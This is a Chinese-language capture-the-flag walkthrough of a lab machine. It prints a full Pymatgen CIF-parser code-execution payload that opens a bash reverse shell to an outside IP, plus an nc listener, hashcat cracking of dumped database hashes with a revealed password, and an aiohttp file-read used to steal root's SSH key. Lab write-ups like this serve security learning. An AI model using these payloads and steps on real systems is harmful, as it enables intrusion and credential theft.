这个靶机其实是前些日子打下来的,由于一些事一直没来得及写总结,今天补补上,拖欠的是越来越多了 QAQ
# nmap
-A 起手,先看看 TCP 端口
sudo nmap -A 10.10.11.38 |
去看看 5000 端口都有什么东西
既然没有账号那先去注册一下登录,看看里面内容是啥
# 获取反弹 shell
原来是文件上传,但是不是平时接触到的图片上传,要求是 CIF 后缀
直接上网找找相关资料,结果把 poc 扒出来了
不过要改一下再利用,整个反弹 shell 上去
data_5yOhtAoR | |
_audit_creation_date 2018-06-08 | |
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit" | |
loop_ | |
_parent_propagation_vector.id | |
_parent_propagation_vector.kxkykz | |
k1 [0 0 0] | |
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'/bin/bash -i >& /dev/tcp/10.10.16.62/1425 0>&1\'");0,0,0' | |
_space_group_magn.number_BNS 62.448 | |
_space_group_magn.name_BNS "P n' m a' " |
本地监听写入的端口
nc -lvnp 1425 |
成功获取
# 横向移动
来看看都有什么文件
ls -a |
查看所有文件
发现有个 instance 目录,进去看看
有一个 database.db 文件,采用 sqlite3 查看
sqlite3 database.db | |
SELECT * FROM user; |
这么多 hash,该用哪些去进行爆破?查看一下 /etc/passwd,看看哪些用户名能用于 ssh 登录
cat /etc/passwd |
分别是 root、rosa、app
其中 app 是当前的,主要重心放在 rosa 和 root 的哈希的爆破上
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt |
成功拿到 rosa 用户的密码:unicorniosrosados
admin 那一条应该是加 salt,靠 cmd5 给出的类型检测经过测试都失败了,先暂且放一边,看看能否经过 rosa 用户进行提权
先登录 rosa 用户拿下 user.txt 吧
# 提权
这次可没有给一些命令开放 sudo 权限
转而通过查看 root 用户的相关进程尝试作为突破口
ps -aux | grep root |
发现有个 app.py,试图查看但是没有权限
那就换个思路,查看一下靶机网络
ss -ant |
可以发现多了 8080 端,为了方便探测,尝试通过 ssh 映射到本地
ssh -N rosa@10.10.11.38 -L 8080:localhost:8080 |
curl 访问本地端口
curl -I http://localhost:8080 |
由此可知 aiohttp 服务应该与 root 用户有关,上网查找相关漏洞
是个任意文件读取漏洞,和上次一样,去找 root 用户的私钥文件用于 ssh 免密登录
OK 啊,修改一下 poc 去用,先找到静态目录为 /asserts,修改好端口,配上要读取的文件路径
成功读取到文件
接下来就没什么好说了,免密登陆直接拿 flag